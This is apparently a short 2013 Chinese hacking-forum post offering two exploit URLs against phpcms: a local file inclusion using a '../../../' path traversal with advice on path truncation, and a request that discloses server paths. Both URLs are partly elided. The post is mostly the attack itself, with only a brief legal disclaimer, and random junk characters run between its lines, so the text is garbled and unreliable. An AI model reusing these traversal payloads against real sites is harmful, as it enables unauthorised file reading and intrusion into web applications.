我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。* h- ]! J2 p5 N, ^
% `# {$ Q' n& m5 k* }
Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck [- I3 o- N& C5 q5 [. P
+ Q, o0 V9 m. R3 I#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
9 m4 V; I# [7 b- L; \6 k& i d8 P( N4 Z4 B, @+ N1 w
Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
7 [: F/ o- x! A. O; b! z- t+ A, D1 ~( I
#暴路径
. H( ~& b# K$ a* i: j: {+ O# h0 q ]
注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
: p& p* R$ V! D5 i# s/ n2 G j1 j% J! i+ k' i+ m1 F5 ~
! O0 v8 H+ s/ o
5 y+ H! p7 ?8 A) ]$ D+1 |
发表于 2013-4-4 17:28:59
收藏
支持
反对